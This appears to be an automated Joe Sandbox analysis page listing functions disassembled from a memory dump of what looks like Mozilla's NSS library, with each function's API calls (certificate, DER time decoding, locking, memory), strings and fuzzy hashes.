9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFBE89

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: a259e4107721a645c6a31de25f35c875253a070f209cfa603d2d6d5d8ca40f99
Instruction ID: 84ed2f38f07a8b44e7149d213de476b508ec1448335a41e433f6d3b7fc82dfe8
Opcode Fuzzy Hash: a259e4107721a645c6a31de25f35c875253a070f209cfa603d2d6d5d8ca40f99
Instruction Fuzzy Hash: BA315931B44655ABC300CF69C890AABBBB2BF41314B0A8544EDA41BAE1D331ED06C3D0

Function 6CE71EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71EE2

Part of subcall function 6CED1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE71D97,?,?), ref: 6CED1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE74C64,?,-00000004), ref: 6CE71F53

Strings

dLl, xrefs: 6CE71F2B, 6CE71F51

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: a15868a0eb895009fc1f780b9b604b2c2b499851f45d03f70cfe4d3917d7bbc6
Instruction ID: 3fe0543d636d1d482843306c429a89344d8c8d032b132bb10f323579a5dc5635
Opcode Fuzzy Hash: a15868a0eb895009fc1f780b9b604b2c2b499851f45d03f70cfe4d3917d7bbc6
Instruction Fuzzy Hash: 9221B071914346ABC750CEA9DD01A9BB7F9EF85698F10092DE848C3B00F330E649CBE2

Function 6CE60DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE60BDE), ref: 6CE60DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE60BDE), ref: 6CE60DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE60BDE), ref: 6CE60DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE60BDE), ref: 6CE60E32

Strings

%s incr => %d (find lib), xrefs: 6CE60E2D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 6f09c341029bb58c633798ef95429776cdb746b863d1770834ea7390f18497a9
Instruction ID: 0f3f1802ca8699514f6ebf177b9da425783b5d4a2f8152005fa8dedc23168dbf
Opcode Fuzzy Hash: 6f09c341029bb58c633798ef95429776cdb746b863d1770834ea7390f18497a9
Instruction Fuzzy Hash: BF01F172B512209FEA208B26DC49E1773B8DF46A08B1444ADE909D3B41E762FC1886E1

Function 6CE09C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE09CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CE09D45
EnterCriticalSection.KERNEL32(?), ref: 6CE09D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CE09DDE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 40f0a0e8636aa7869d22b8d5d31e01ea4c4bb5fe6597289b4df9bcc236772aba
Instruction ID: 0775d2896969ff4ecabe175ad9bf93112db97caa362e5e022db191114a48bec1
Opcode Fuzzy Hash: 40f0a0e8636aa7869d22b8d5d31e01ea4c4bb5fe6597289b4df9bcc236772aba
Instruction Fuzzy Hash: F2A1A071F541008BEB48AF74D88A77E3B75BB43318F28412DD4064BB44DB3AA956DBC2

Function 6CE91E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE91ECC

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

TlsGetValue.KERNEL32 ref: 6CE91EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE91EEF
PR_ExitMonitor.NSS3(?), ref: 6CE91F37
PR_Unlock.NSS3(?), ref: 6CE91F44

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 42303b192a782fbba376d0a855fb8f26654b2bae1404129df89b08081aaccc38
Instruction ID: 7b4c48b40a5425a5516fbbb1c441d822f1e5d7d516b8d14543df601fae4094e4
Opcode Fuzzy Hash: 42303b192a782fbba376d0a855fb8f26654b2bae1404129df89b08081aaccc38
Instruction Fuzzy Hash: 0A71BDB6A043019FDB00CF64D841A5AB7F5FF89358F24492DE89993B20E731F959CB92

Function 6CF1DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF1DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CF1DE77

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 8939a2901188ca5afc6785ed0984e2489253a29490d82d3eb5b2d3c82a99b300
Instruction ID: f92922236f4c7e3d218e7f025cd49334942b2c35057488167bd19e3807628e46
Opcode Fuzzy Hash: 8939a2901188ca5afc6785ed0984e2489253a29490d82d3eb5b2d3c82a99b300
Instruction Fuzzy Hash: 07715571A08318CFDB11CF9AC5C078AB7B4BF49718F25816DD9596BB42D770AA01CF90

Function 6CE16D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6CE03C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03C66
Part of subcall function 6CE03C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CE03D04

memcpy.VCRUNTIME140(?,?,?), ref: 6CE16DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6CE16DE5

Part of subcall function 6CE18010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE1807D
Part of subcall function 6CE18010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE180D1
Part of subcall function 6CE18010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE1810E
Part of subcall function 6CE18010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE18140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6CE16E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE16E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE16EC2

Part of subcall function 6CE17D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE17E27
Part of subcall function 6CE17D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE17E67

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: dcebfda95b3f85556a3e3fd4d3c37d208228a3aa181f874f70f6c7f7e789f49f
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: B45190719083519FC724CF25C850B6ABBF5FF88718F14895DE8A987B41E730E929CB92

Function 6CE8DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE91397,5B5F5EC0,?,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB3C
Part of subcall function 6CE8AB10: free.MOZGLUE(D958E836,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB49
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(5D5E6D08), ref: 6CE8AB5C
Part of subcall function 6CE8AB10: free.MOZGLUE(5D5E6CFC), ref: 6CE8AB63
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE8AB6F
Part of subcall function 6CE8AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE8AB76

TlsGetValue.KERNEL32(?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8E029
PK11_IsLoggedIn.NSS3 ref: 6CE8E046

Part of subcall function 6CE98F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FAF
Part of subcall function 6CE98F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FD1
Part of subcall function 6CE98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FFA
Part of subcall function 6CE98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99013
Part of subcall function 6CE98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99042
Part of subcall function 6CE98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE9905A
Part of subcall function 6CE98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99073
Part of subcall function 6CE98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99111

PR_Unlock.NSS3(?,?,?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8E149

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a9e1337630e098a45e6fa4eb574d65936a0c2c26820ad7de40c87ce00f17c608
Instruction ID: 46ebd1c28b91eb9ab1593645163992867194293665affd83fa449eaf2fa20ab9
Opcode Fuzzy Hash: a9e1337630e098a45e6fa4eb574d65936a0c2c26820ad7de40c87ce00f17c608
Instruction Fuzzy Hash: 32513778606A01CFDB10DF29C58476ABBF1BF44318F25895CD89D8BB41D735E885CB82

Function 6CE9BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE9BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE79F71,?,?,00000000), ref: 6CE9BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE9BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9C014

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 8806e84a94db1136109f7f4cc00b790d9f74f2c6eb0c08476ea692408efd2f5f
Instruction ID: 19fa05ee421112801d4ca42f0b2d7e9fef9687b745902127d3ebc77213dcc277
Opcode Fuzzy Hash: 8806e84a94db1136109f7f4cc00b790d9f74f2c6eb0c08476ea692408efd2f5f
Instruction Fuzzy Hash: 3541B175F012059BEB10DE66CC81BBAB7B9AF4524CF314128E91AD7B41EB31E905CBE1

Function 6CE6EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE6EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE6EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE6EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6EEEB
free.MOZGLUE(?), ref: 6CE6EEF6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 6c131e0d4a6cd9fd72659e80767563c8d1fbc8f962366011407afb95fdfd069d
Instruction ID: fd991b6561f2822e53bc7436575b9fa1dc6f789a1458baab2e537423a0c9d982
Opcode Fuzzy Hash: 6c131e0d4a6cd9fd72659e80767563c8d1fbc8f962366011407afb95fdfd069d
Instruction Fuzzy Hash: 2C310771A60A009BEB209F2ECC497677BF4FB46318F240529E85A87F91D731E915CBD1

Function 6CE71DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE71E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE71E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE71E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE71E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE71EAD

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: a6bf8fa178a897fa46d9b0d8c94e83e400276e9aaf60c8d7abfcba71d90c8abf
Instruction ID: d360351e67d0ec38f9c4ea4d4d52a3e4ff2c4a3cebc198daf8422cc903ff6b98
Opcode Fuzzy Hash: a6bf8fa178a897fa46d9b0d8c94e83e400276e9aaf60c8d7abfcba71d90c8abf
Instruction Fuzzy Hash: 0121D372E08314A7D7108EA8DC51B9B73A4DB85368F254638ED6D57B80E730D909C7E2

Function 6CF81E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF81E5C

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

PR_Lock.NSS3(00000000), ref: 6CF81E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF81EAB
PR_GetCurrentThread.NSS3 ref: 6CF81ED0
PR_Unlock.NSS3(?), ref: 6CF81EE8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 19825ea1d8dc27cdbecb29f875e358b14cc675c479eea873e2f39402a7a87e57
Instruction ID: 717c7fa65026b6a27c6d60af11ead6aa0c1c6d570cb595686e74e8c7ece08c43
Opcode Fuzzy Hash: 19825ea1d8dc27cdbecb29f875e358b14cc675c479eea873e2f39402a7a87e57
Instruction Fuzzy Hash: DE21AF75A16522ABD710CF29D840A86B7B1FF44718B25C329E8299BF40D730F960CBE1

Function 6CE7AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000,00000000), ref: 6CE7ADA7

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000,00000000), ref: 6CE7ADB4

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE73FFF,?,?,?,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000), ref: 6CE7ADD5

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF994B0,?,?,?,?,?,?,?,?,6CE73FFF,00000000,?), ref: 6CE7ADEC

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE73FFF), ref: 6CE7AE3C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
